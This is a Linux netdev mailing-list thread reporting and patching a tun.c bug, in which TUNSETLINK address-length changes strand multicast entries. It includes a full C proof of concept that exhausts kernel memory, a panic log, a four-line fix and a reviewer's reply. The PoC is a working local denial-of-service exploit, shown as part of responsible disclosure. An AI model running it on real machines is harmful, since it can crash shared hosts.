Netdev List
 help / color / mirror / Atom feed
* [PATCH net 0/1] net: tun: reject addr_len changes with active lists
@ 2026-08-29 10:23 Zhiling Zou
  2026-08-29 10:23 ` [PATCH net 1/1] " Zhiling Zou
  0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-08-29 10:23 UTC (permalink / raw)
  To: netdev
  Cc: willemdebruijn.kernel, jasowangio, andrew+netdev, davem, edumazet,
	pabeni, phil, vega, zhilinz

Hi Linux kernel maintainers,

We found and validated an issue in drivers/net/tun.c. A user with
network-namespace administration privileges can create a TAP device,
add packet multicast memberships, change its link type with TUNSETLINK,
and then release the memberships. If the link type changes addr_len,
the kernel can strand netdev_hw_addr entries and allow unbounded kernel
memory growth.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

TUNSETLINK updates dev->addr_len when changing the link type. The
device address lists are keyed using the current addr_len, but their
entries do not retain the length used at insertion. A TAP device starts
with ARPHRD_ETHER and a six-byte address length. After a packet socket
adds a multicast membership, changing the device to ARPHRD_NONE changes
addr_len to zero. packet_dev_mc() then rejects cleanup because the
saved membership length no longer matches dev->addr_len. packet_mc_drop()
and packet_flush_mclist() discard their ownership records even when
dev_mc_del() fails, leaving the netdev_hw_addr entry allocated in the
device multicast list until unregister. Repeating with unique addresses
can exhaust kernel memory.

The fix rejects link-type changes that alter addr_len while either the
unicast or multicast address list is non-empty. Same-length type changes
remain allowed, and the check runs before type-change notifiers.

Reproducer:

    gcc -O2 -Wall -Wextra -o poc poc.c
    unshare -Urn ./poc -n 1 -b 1 -c drop -d 8

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

    #define _GNU_SOURCE

    #include <arpa/inet.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <linux/if_arp.h>
    #include <linux/if_ether.h>
    #include <linux/if_packet.h>
    #include <linux/if_tun.h>
    #include <linux/sockios.h>
    #include <stdbool.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/ioctl.h>
    #include <sys/socket.h>
    #include <unistd.h>

    enum cleanup_mode {
    	CLEANUP_DROP = 0,
    	CLEANUP_CLOSE = 1,
    };

    struct options {
    	char ifname[IFNAMSIZ];
    	uint32_t total_leaks;
    	uint32_t batch_size;
    	uint32_t report_every;
    	unsigned int dump_limit;
    	unsigned int hold_seconds;
    	enum cleanup_mode cleanup;
    };

    struct scan_result {
    	uint32_t iface_lines;
    	uint32_t target_lines;
    };

    static void usage(const char *prog)
    {
    	fprintf(stderr,
    		"Usage: %s [-i ifname] [-n total] [-b batch] [-r report_every] "
    		"[-d dump_limit] [-H hold_seconds] [-c drop|close]\n",
    		prog);
    }

    static int parse_u32(const char *arg, uint32_t *out)
    {
    	char *end = NULL;
    	unsigned long value;

    	errno = 0;
    	value = strtoul(arg, &end, 0);
    	if (errno || !end || *end || value > UINT32_MAX)
    		return -1;

    	*out = (uint32_t)value;
    	return 0;
    }

    static void make_addr(uint32_t index, unsigned char addr[ETH_ALEN])
    {
    	addr[0] = 0x01;
    	addr[1] = 0xaa;
    	addr[2] = (index >> 24) & 0xff;
    	addr[3] = (index >> 16) & 0xff;
    	addr[4] = (index >> 8) & 0xff;
    	addr[5] = index & 0xff;
    }

    static void addr_to_hex(const unsigned char addr[ETH_ALEN], char hex[ETH_ALEN * 2 + 1])
    {
    	snprintf(hex, ETH_ALEN * 2 + 1, "%02x%02x%02x%02x%02x%02x",
    		 addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]);
    }

    static int create_tap(char ifname[IFNAMSIZ])
    {
    	struct ifreq ifr;
    	int fd;

    	fd = open("/dev/net/tun", O_RDWR);
    	if (fd < 0) {
    		perror("open(/dev/net/tun)");
    		return -1;
    	}

    	memset(&ifr, 0, sizeof(ifr));
    	snprintf(ifr.ifr_name, IFNAMSIZ, "%s", ifname);
    	ifr.ifr_flags = IFF_TAP | IFF_NO_PI;

    	if (ioctl(fd, TUNSETIFF, &ifr) < 0) {
    		perror("ioctl(TUNSETIFF)");
    		close(fd);
    		return -1;
    	}

    	snprintf(ifname, IFNAMSIZ, "%s", ifr.ifr_name);
    	return fd;
    }

    static int set_link_type(int tun_fd, unsigned int type)
    {
    	if (ioctl(tun_fd, TUNSETLINK, (void *)(uintptr_t)type) < 0) {
    		perror("ioctl(TUNSETLINK)");
    		return -1;
    	}

    	return 0;
    }

    static int open_packet_socket(void)
    {
    	int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

    	if (fd < 0)
    		perror("socket(AF_PACKET)");
    	return fd;
    }

    static int get_ifindex(const char *ifname)
    {
    	struct ifreq ifr;
    	int fd;
    	int ret = -1;

    	fd = socket(AF_INET, SOCK_DGRAM, 0);
    	if (fd < 0) {
    		perror("socket(AF_INET)");
    		return -1;
    	}

    	memset(&ifr, 0, sizeof(ifr));
    	snprintf(ifr.ifr_name, IFNAMSIZ, "%s", ifname);

    	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
    		perror("ioctl(SIOCGIFINDEX)");
    	else
    		ret = ifr.ifr_ifindex;

    	close(fd);
    	return ret;
    }

    static int packet_membership(int sock_fd, int optname, int ifindex,
    			     const unsigned char addr[ETH_ALEN])
    {
    	struct packet_mreq mreq;

    	memset(&mreq, 0, sizeof(mreq));
    	mreq.mr_ifindex = ifindex;
    	mreq.mr_type = PACKET_MR_MULTICAST;
    	mreq.mr_alen = ETH_ALEN;
    	memcpy(mreq.mr_address, addr, ETH_ALEN);

    	if (setsockopt(sock_fd, SOL_PACKET, optname, &mreq, sizeof(mreq)) < 0) {
    		perror(optname == PACKET_ADD_MEMBERSHIP ?
    		       "setsockopt(PACKET_ADD_MEMBERSHIP)" :
    		       "setsockopt(PACKET_DROP_MEMBERSHIP)");
    		return -1;
    	}

    	return 0;
    }

    static struct scan_result scan_dev_mcast(const char *ifname, unsigned int dump_limit)
    {
    	FILE *fp;
    	char line[512];
    	unsigned int dumped = 0;
    	struct scan_result result = { 0 };

    	fp = fopen("/proc/net/dev_mcast", "r");
    	if (!fp) {
    		perror("fopen(/proc/net/dev_mcast)");
    		return result;
    	}

    	while (fgets(line, sizeof(line), fp)) {
    		if (!strstr(line, ifname))
    			continue;

    		result.iface_lines++;
    		if (strstr(line, "01aa")) {
    			result.target_lines++;
    			if (dumped < dump_limit) {
    				fputs(line, stdout);
    				dumped++;
    			}
    		}
    	}

    	fclose(fp);
    	return result;
    }

    static long long mem_available_kb(void)
    {
    	FILE *fp;
    	char key[64];
    	long long value;

    	fp = fopen("/proc/meminfo", "r");
    	if (!fp)
    		return -1;

    	while (fscanf(fp, "%63s %lld kB\n", key, &value) == 2) {
    		if (!strcmp(key, "MemAvailable:")) {
    			fclose(fp);
    			return value;
    		}
    	}

    	fclose(fp);
    	return -1;
    }

    static void report_progress(const char *stage, const char *ifname, uint32_t leaked,
    			    unsigned int dump_limit)
    {
    	struct scan_result scan = scan_dev_mcast(ifname, dump_limit);
    	long long mem_kb = mem_available_kb();

    	printf("[%s] leaked=%u iface_lines=%u tagged_lines=%u",
    	       stage, leaked, scan.iface_lines, scan.target_lines);
    	if (mem_kb >= 0)
    		printf(" MemAvailable=%lldkB", mem_kb);
    	putchar('\n');
    }

    static int run_batch(int tun_fd, int ifindex, uint32_t start, uint32_t count,
    		     enum cleanup_mode cleanup)
    {
    	unsigned char addr[ETH_ALEN];
    	int sock_fd;
    	uint32_t i;

    	sock_fd = open_packet_socket();
    	if (sock_fd < 0)
    		return -1;

    	for (i = 0; i < count; i++) {
    		make_addr(start + i, addr);
    		if (packet_membership(sock_fd, PACKET_ADD_MEMBERSHIP, ifindex, addr) < 0) {
    			close(sock_fd);
    			return -1;
    		}
    	}

    	if (set_link_type(tun_fd, ARPHRD_NONE) < 0) {
    		close(sock_fd);
    		return -1;
    	}

    	if (cleanup == CLEANUP_DROP) {
    		for (i = 0; i < count; i++) {
    			make_addr(start + i, addr);
    			if (packet_membership(sock_fd, PACKET_DROP_MEMBERSHIP, ifindex, addr) < 0) {
    				close(sock_fd);
    				return -1;
    			}
    		}
    	}

    	close(sock_fd);

    	if (set_link_type(tun_fd, ARPHRD_ETHER) < 0)
    		return -1;

    	return 0;
    }

    static int parse_args(int argc, char **argv, struct options *opts)
    {
    	int c;

    	memset(opts, 0, sizeof(*opts));
    	strncpy(opts->ifname, "tapk3v%d", IFNAMSIZ - 1);
    	opts->total_leaks = 1;
    	opts->batch_size = 1;
    	opts->report_every = 1;
    	opts->dump_limit = 8;
    	opts->cleanup = CLEANUP_DROP;

    	while ((c = getopt(argc, argv, "b:c:d:H:i:n:r:h")) != -1) {
    		switch (c) {
    		case 'b':
    			if (parse_u32(optarg, &opts->batch_size) < 0 || !opts->batch_size)
    				return -1;
    			break;
    		case 'c':
    			if (!strcmp(optarg, "drop"))
    				opts->cleanup = CLEANUP_DROP;
    			else if (!strcmp(optarg, "close"))
    				opts->cleanup = CLEANUP_CLOSE;
    			else
    				return -1;
    			break;
    		case 'd':
    			if (parse_u32(optarg, &opts->dump_limit) < 0)
    				return -1;
    			break;
    		case 'H':
    			if (parse_u32(optarg, &opts->hold_seconds) < 0)
    				return -1;
    			break;
    		case 'i':
    			strncpy(opts->ifname, optarg, IFNAMSIZ - 1);
    			opts->ifname[IFNAMSIZ - 1] = '\0';
    			break;
    		case 'n':
    			if (parse_u32(optarg, &opts->total_leaks) < 0 || !opts->total_leaks)
    				return -1;
    			break;
    		case 'r':
    			if (parse_u32(optarg, &opts->report_every) < 0 || !opts->report_every)
    				return -1;
    			break;
    		case 'h':
    			usage(argv[0]);
    			exit(0);
    		default:
    			return -1;
    		}
    	}

    	if (opts->batch_size > opts->total_leaks)
    		opts->batch_size = opts->total_leaks;

    	return 0;
    }

    int main(int argc, char **argv)
    {
    	struct options opts;
    	unsigned char addr[ETH_ALEN];
    	char addr_hex[ETH_ALEN * 2 + 1];
    	uint32_t leaked = 0;
    	uint32_t batch_no = 0;
    	int tun_fd;
    	int ifindex;

    	setvbuf(stdout, NULL, _IONBF, 0);

    	if (parse_args(argc, argv, &opts) < 0) {
    		usage(argv[0]);
    		return 1;
    	}

    	tun_fd = create_tap(opts.ifname);
    	if (tun_fd < 0)
    		return 1;

    	ifindex = get_ifindex(opts.ifname);
    	if (ifindex < 0) {
    		close(tun_fd);
    		return 1;
    	}

    	make_addr(0, addr);
    	addr_to_hex(addr, addr_hex);

    	printf("iface=%s ifindex=%u cleanup=%s total=%u batch=%u report_every=%u first_tag=%s\n",
    	       opts.ifname, ifindex,
    	       opts.cleanup == CLEANUP_DROP ? "drop" : "close",
    	       opts.total_leaks, opts.batch_size, opts.report_every, addr_hex);
    	report_progress("initial", opts.ifname, 0, opts.dump_limit);

    	while (leaked < opts.total_leaks) {
    		uint32_t count = opts.total_leaks - leaked;

    		if (count > opts.batch_size)
    			count = opts.batch_size;

    		if (run_batch(tun_fd, ifindex, leaked, count, opts.cleanup) < 0) {
    			fprintf(stderr, "batch starting at %u failed\n", leaked);
    			close(tun_fd);
    			return 1;
    		}

    		leaked += count;
    		batch_no++;

    		if (batch_no % opts.report_every == 0 || leaked == opts.total_leaks)
    			report_progress("post-batch", opts.ifname, leaked, opts.dump_limit);
    	}

    	if (opts.hold_seconds) {
    		printf("holding tap open for %u seconds\n", opts.hold_seconds);
    		sleep(opts.hold_seconds);
    	}

    	close(tun_fd);
    	return 0;
    }


------END poc.c--------

----BEGIN crash log----

[ 1869.152735][T11408] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[ 1869.153464][T11408] CPU: 0 UID: 0 PID: 11408 Comm: poc Not tainted 6.12.95 #2
[ 1869.153947][T11408] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1869.154724][T11408] Call Trace:
[ 1869.154939][T11408]  <TASK>
[ 1869.155135][T11408]  panic+0x533/0x610
[ 1869.155420][T11408]  ? dump_header+0x5d2/0x800
[ 1869.155736][T11408]  ? __pfx_panic+0x10/0x10
[ 1869.156073][T11408]  out_of_memory+0x73c/0x1430
[ 1869.156399][T11408]  ? __alloc_pages_noprof+0xd53/0x26d0
[ 1869.156756][T11408]  ? __pfx_out_of_memory+0x10/0x10
[ 1869.157099][T11408]  ? lock_acquire+0x2f/0xb0
[ 1869.157400][T11408]  ? __alloc_pages_noprof+0xd53/0x26d0
[ 1869.157813][T11408]  __alloc_pages_noprof+0x1ecc/0x26d0
[ 1869.158157][T11408]  ? __pfx_mark_lock+0x10/0x10
[ 1869.158488][T11408]  ? __pfx___alloc_pages_noprof+0x10/0x10
[ 1869.158924][T11408]  ? __pfx_vmap_small_pages_range_noflush+0x10/0x10
[ 1869.159368][T11408]  ? irqentry_exit+0x3b/0x90
[ 1869.159672][T11408]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1869.160035][T11408]  ? lockdep_hardirqs_on+0x7b/0x110
[ 1869.160394][T11408]  alloc_pages_mpol_noprof+0x1ab/0x4d0
[ 1869.160774][T11408]  ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[ 1869.161179][T11408]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1869.161539][T11408]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1869.161913][T11408]  ? __pfx___might_resched+0x10/0x10
[ 1869.162266][T11408]  __vmalloc_node_range_noprof+0x584/0x1090
[ 1869.162663][T11408]  ? seq_read_iter+0x379/0x11f0
[ 1869.162998][T11408]  ? __pfx___vmalloc_node_range_noprof+0x10/0x10
[ 1869.163400][T11408]  ? rcu_is_watching+0x12/0xc0
[ 1869.163732][T11408]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1869.164094][T11408]  ? rcu_is_watching+0x12/0xc0
[ 1869.164404][T11408]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1869.164768][T11408]  ? trace_kmalloc+0x2b/0xe0
[ 1869.165064][T11408]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1869.165416][T11408]  ? __kmalloc_node_noprof+0x20e/0x430
[ 1869.165775][T11408]  ? seq_read_iter+0x379/0x11f0
[ 1869.166096][T11408]  __kvmalloc_node_noprof+0xb8/0xe0
[ 1869.166433][T11408]  ? seq_read_iter+0x379/0x11f0
[ 1869.166755][T11408]  seq_read_iter+0x379/0x11f0
[ 1869.167074][T11408]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1869.167438][T11408]  seq_read+0x2b1/0x450
[ 1869.167714][T11408]  ? __pfx_seq_read+0x10/0x10
[ 1869.168020][T11408]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1869.168388][T11408]  ? __pfx___lock_acquire+0x10/0x10
[ 1869.168750][T11408]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1869.169108][T11408]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1869.169476][T11408]  proc_reg_read+0x1ad/0x280
[ 1869.169788][T11408]  vfs_read+0x1be/0xb20
[ 1869.170057][T11408]  ? __might_fault+0xb6/0x120
[ 1869.170358][T11408]  ? __pfx_lock_release+0x10/0x10
[ 1869.170695][T11408]  ? __pfx_vfs_read+0x10/0x10
[ 1869.170997][T11408]  ? __might_fault+0xb6/0x120
[ 1869.171304][T11408]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1869.171668][T11408]  ? rcu_is_watching+0x12/0xc0
[ 1869.171982][T11408]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1869.172348][T11408]  ? __rseq_handle_notify_resume+0x825/0xc80
[ 1869.172783][T11408]  ksys_read+0xfb/0x1d0
[ 1869.173050][T11408]  ? __pfx_ksys_read+0x10/0x10
[ 1869.173356][T11408]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1869.173741][T11408]  do_syscall_64+0xc7/0x270
[ 1869.174044][T11408]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 1869.174424][T11408] RIP: 0033:0x7f17b28e3687
[ 1869.174718][T11408] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[ 1869.175949][T11408] RSP: 002b:00007ffda6f2bc80 EFLAGS: 00000202 ORIG_RAX: 0000000000000000
[ 1869.176475][T11408] RAX: ffffffffffffffda RBX: 00007f17b2851740 RCX: 00007f17b28e3687
[ 1869.176987][T11408] RDX: 0000000000000400 RSI: 00005561f728c480 RDI: 0000000000000004
[ 1869.177495][T11408] RBP: 00007f17b2a38030 R08: 0000000000000000 R09: 0000000000000000
[ 1869.178011][T11408] R10: 0000000000000000 R11: 0000000000000202 R12: 00007f17b2a37ee0
[ 1869.178523][T11408] R13: 00005561f728c6a8 R14: 00000000000001ff R15: 00005561f728c2a0
[ 1869.179061][T11408]  </TASK>
[ 1869.180166][T11408] Kernel Offset: disabled
[ 1869.180485][T11408] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  net: tun: reject addr_len changes with active lists

 drivers/net/tun.c | 4 ++++
 1 file changed, 4 insertions(+)

-- 
2.43.0

^ permalink raw reply	[flat|nested] 3+ messages in thread

* [PATCH net 1/1] net: tun: reject addr_len changes with active lists
  2026-08-29 10:23 [PATCH net 0/1] net: tun: reject addr_len changes with active lists Zhiling Zou
@ 2026-08-29 10:23 ` Zhiling Zou
  2026-08-31 17:47   ` Willem de Bruijn
  0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-08-29 10:23 UTC (permalink / raw)
  To: netdev
  Cc: willemdebruijn.kernel, jasowangio, andrew+netdev, davem, edumazet,
	pabeni, phil, vega, zhilinz

TUNSETLINK can change a TAP device's address length while packet
memberships are active. The address lists are keyed by the current
address length, so changing it makes subsequent membership cleanup
lookups fail and strands netdev_hw_addr entries until unregister.

Reject link-type changes that alter addr_len while either the unicast or
multicast address list is non-empty. This prevents address entries from
becoming unreachable through the normal deletion path.

Fixes: cca8ea3b05c9 ("net: tun: set tun->dev->addr_len during TUNSETLINK processing")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
 drivers/net/tun.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/drivers/net/tun.c b/drivers/net/tun.c
index 5a302709a68aa..e5b7729a967de 100644
--- a/drivers/net/tun.c
+++ b/drivers/net/tun.c
@@ -3341,6 +3341,10 @@ static long __tun_chr_ioctl(struct file *file, unsigned int cmd,
 			netif_info(tun, drv, tun->dev,
 				   "Linktype set failed because interface is up\n");
 			ret = -EBUSY;
+		} else if (tun_get_addr_len(arg) != tun->dev->addr_len &&
+			   (!netdev_uc_empty(tun->dev) ||
+			    !netdev_mc_empty(tun->dev))) {
+			ret = -EBUSY;
 		} else {
 			ret = call_netdevice_notifiers(NETDEV_PRE_TYPE_CHANGE,
 						       tun->dev);
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 3+ messages in thread

* Re: [PATCH net 1/1] net: tun: reject addr_len changes with active lists
  2026-08-29 10:23 ` [PATCH net 1/1] " Zhiling Zou
@ 2026-08-31 17:47   ` Willem de Bruijn
  0 siblings, 0 replies; 3+ messages in thread
From: Willem de Bruijn @ 2026-08-31 17:47 UTC (permalink / raw)
  To: Zhiling Zou, netdev
  Cc: willemdebruijn.kernel, jasowangio, andrew+netdev, davem, edumazet,
	pabeni, phil, vega, zhilinz

Zhiling Zou wrote:
> TUNSETLINK can change a TAP device's address length while packet
> memberships are active. The address lists are keyed by the current
> address length, so changing it makes subsequent membership cleanup
> lookups fail and strands netdev_hw_addr entries until unregister.
> 
> Reject link-type changes that alter addr_len while either the unicast or
> multicast address list is non-empty. This prevents address entries from
> becoming unreachable through the normal deletion path.
> 
> Fixes: cca8ea3b05c9 ("net: tun: set tun->dev->addr_len during TUNSETLINK processing")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
> ---
>  drivers/net/tun.c | 4 ++++
>  1 file changed, 4 insertions(+)
> 
> diff --git a/drivers/net/tun.c b/drivers/net/tun.c
> index 5a302709a68aa..e5b7729a967de 100644
> --- a/drivers/net/tun.c
> +++ b/drivers/net/tun.c
> @@ -3341,6 +3341,10 @@ static long __tun_chr_ioctl(struct file *file, unsigned int cmd,
>  			netif_info(tun, drv, tun->dev,
>  				   "Linktype set failed because interface is up\n");
>  			ret = -EBUSY;
> +		} else if (tun_get_addr_len(arg) != tun->dev->addr_len &&
> +			   (!netdev_uc_empty(tun->dev) ||
> +			    !netdev_mc_empty(tun->dev))) {
> +			ret = -EBUSY;

Insightful comments from the bots

- IPv6 sockets automatically join the all-node multicast groups in
  ipv6_add_dev, so netdev_mc_empty is false for them from the start

- IPv6 membership may already be safe, so could be ignored

- netdev_[mu]c_empty locking requires a different lock held

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-08-31 17:47 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-29 10:23 [PATCH net 0/1] net: tun: reject addr_len changes with active lists Zhiling Zou
2026-08-29 10:23 ` [PATCH net 1/1] " Zhiling Zou
2026-08-31 17:47   ` Willem de Bruijn

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox